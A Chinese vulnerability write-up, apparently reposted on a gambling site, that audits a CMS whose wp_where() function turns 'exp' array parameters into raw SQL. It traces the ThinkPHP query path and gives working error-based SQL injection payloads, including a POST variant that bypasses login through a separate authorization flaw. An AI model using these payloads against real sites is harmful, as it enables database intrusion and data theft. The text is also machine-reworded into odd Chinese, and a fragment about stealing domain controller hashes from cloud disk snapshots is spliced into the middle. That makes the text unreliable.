欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_安全防护正文

某cms审计之exp表达式注入

b9e08c31ae1faa592019-12-1761安全技术漏洞分析

和thinkphp3.2.3的exp注入相似。

payload

http://php.local/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) -- +
另有多个模块均存在注入

剖析

\app\home\controller\Index::bind_follow() 某cms审计之exp表达式注入  安全技术 漏洞分析 第1张 uid直接经由过程I()猎取
<?php
function I($name, $default = '', $filter = null, $datas = null)
{
    return input($name, $default, $filter);
}
然后经由 wp_where() -> where() -> find()函数
<?php
$info = M('user_follow')->where(wp_where($map))->find();
跟进 wp_where()
<?php
function wp_where($field)
{
    if (!is_array($field)) {
        return $field;
    }

    $res = [];
    foreach ($field as $key => $value) {
        if (is_numeric($key) || (is_array($value) && count($value) == 3)) {
            if (strtolower($value[1]) == 'exp' && !is_object($value[2])) {
                $value[2] = Db::raw($value[2]);
            }
            $res[] = $value;
        } elseif (is_array($value)) {
            if (strtolower($value[0]) == 'exp' && !is_object($value[1])) {
                $value[1] = Db::raw($value[1]);
            }
            $res[] = [
                $key,
                $value[0],
                $value[1]
            ];
        } else {
            $res[] = [
                $key,
                '=',
                $value
            ];
        }
    }
    //    dump($res);
    return $res;
}
在elseif语句中,假如传入的字段是数组,而且下标为0的值为exp,那末会实行 Db::raw()来举行表达式查询 某cms审计之exp表达式注入  安全技术 漏洞分析 第2张 跟进 Db::raw() 进入到 \think\Db::__callStatic$methodraw()
<?php
public static function __callStatic($method, $args)
{
    return call_user_func_array([static::connect(), $method], $args);
}
call_user_func_array回调[static::connect(),$method],跟进static::connect()
<?php
public static function connect($config = [], $name = false, $query = '')
{
    // 剖析设置参数
    $options = self::parseConfig($config ?: self::$config);

    $query = $query ?: $options['query'];

    // 建立数据库衔接对象实例
    self::$connection = Connection::instance($options, $name);

    return new $query(self::$connection);
}
某cms审计之exp表达式注入  安全技术 漏洞分析 第3张 返回的是\think\db\Query类,那末call_user_func_array回调的就是\think\db\Query类下的 raw() 要领。 继承跟进
<?php
//\think\db\Query::raw
public function raw($value)
{
    return new Expression($value);
}
发明返回的是一个表达式,末了wp_where()返回res 某cms审计之exp表达式注入  安全技术 漏洞分析 第4张
经由过程 4 个简朴的步骤猎取 Azure 中的 DC 哈希 译文声明 本文是翻译文章,文章原作者fortynorthsecurity,文章来源:fortynorthsecurity.com 原文地址:https://fortynorthsecurity.com/blog/powershell-azure-and-password-hashes-in-4-steps/ 译文仅供参考,具体内容表达以及含义原文为准 0x00 前言 不久前,在这篇文章中了解到用于从 AWS 中运行的域控制器中窃取哈希的工具。于是手动测试了该过程,并且在无需与域控制器本身交互的情况下,成功的提取了密码哈希。一般有如下操作: 制作 AWS 中域控制器硬盘的快照; 将快照转换成 AWS 内的卷; 将该卷挂载到可控制的其他虚拟机上(本例使用 Debian ec2 实例进行测试); 使用 SecretsDump 之类的工具从安
进入到where()
<?php
public function where($field, $op = null, $condition = null)
{
    $param = func_get_args();
    array_shift($param);
    return $this->parseWhereExp('AND', $field, $op, $condition, $param);
}
进入parseWhereExp()
<?php
protected function parseWhereExp($logic, $field, $op, $condition, array $param = [], $strict = false)
{
    ...省略
    if ($field instanceof Expression) {
        return $this->whereRaw($field, is_array($op) ? $op : [], $logic);
    } elseif ($strict) {
        // 运用严厉形式查询
        $where = [$field, $op, $condition, $logic];
    } elseif (is_array($field)) {
        // 剖析数组批量查询
        return $this->parseArrayWhereItems($field, $logic);
    }
    ...省略
    return $this;
}
满足elseif是数组前提,进入到 parseArrayWhereItems()
<?php
protected function parseArrayWhereItems($field, $logic)
{
    if (key($field) !== 0) {
        $where = [];
        foreach ($field as $key => $val) {
            if ($val instanceof Expression) {
                $where[] = [$key, 'exp', $val];
            } elseif (is_null($val)) {
                $where[] = [$key, 'NULL', ''];
            } else {
                $where[] = [$key, is_array($val) ? 'IN' : '=', $val];
            }
        }
    }
    else {
        // 数组批量查询
        $where = $field;
    }

    if (!empty($where)) {
        $this->options['where'][$logic] = isset($this->options['where'][$logic]) ? array_merge($this->options['where'][$logic], $where) : $where;
    }

    return $this;
}
兼并where前提以后返回$this,然后进入到find()函数
<?php
public function find($data = null)
{
    if ($data instanceof Query) {
        return $data->find();
    } elseif ($data instanceof \Closure) {
        $data($this);
        $data = null;
    }

    $this->parseOptions();

    if (!is_null($data)) {
        // AR形式剖析主键前提
        $this->parsePkWhere($data);
    }

    $this->options['data'] = $data;

    $result = $this->connection->find($this);

    if ($this->options['fetch_sql']) {
        return $result;
    }

    // 数据处理
    if (empty($result)) {
        return $this->resultToEmpty();
    }

    if (!empty($this->model)) {
        // 返回模子对象
        $this->resultToModel($result, $this->options);
    } else {
        $this->result($result);
    }

    return $result;
}
进入$this->connection->find($this)
<?php
public function find(Query $query)
{
    // 剖析查询表达式
    $options = $query->getOptions();
    $pk      = $query->getPk($options);

    $data = $options['data'];
    $query->setOption('limit', 1);
    ...

    $query->setOption('data', $data);

    // 生成查询SQL
    $sql = $this->builder->select($query);

    $query->removeOption('limit');

    $bind = $query->getBind();

    if (!empty($options['fetch_sql'])) {
        // 猎取现实实行的SQL语句
        return $this->getRealSql($sql, $bind);
    }

    // 事宜回调
    $result = $query->trigger('before_find');

    if (!$result) {
        // 实行查询
        $resultSet = $this->query($sql, $bind, $options['master'], $options['fetch_pdo']);

        if ($resultSet instanceof \PDOStatement) {
            // 返回PDOStatement对象
            return $resultSet;
        }

        $result = isset($resultSet[0]) ? $resultSet[0] : null;
    }
    ...

        return $result;
}
某cms审计之exp表达式注入  安全技术 漏洞分析 第5张$this->builder->select($query)生成SQL语句,带入歹意SQL 形成注入。 某cms审计之exp表达式注入  安全技术 漏洞分析 第6张

影响局限

一切运用了 wp_where() 函数而且参数可控的SQL查询均受到影响,前台背景均存在注入。 某cms审计之exp表达式注入  安全技术 漏洞分析 第7张 须要登录的点能够合营之前写的《某cms审计之部份页面未受权接见》应用POST来绕过登录举行注入。 比方
http://php.local/public/index.php/weixin/message/_send_by_group
POST:group_id[0]=exp&group_id[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) --
某cms审计之exp表达式注入  安全技术 漏洞分析 第8张 文笔垃圾,说话轻佻,内容浅易,操纵陌生。不足之处迎接大师傅们指导和改正,感激涕零。  

网友评论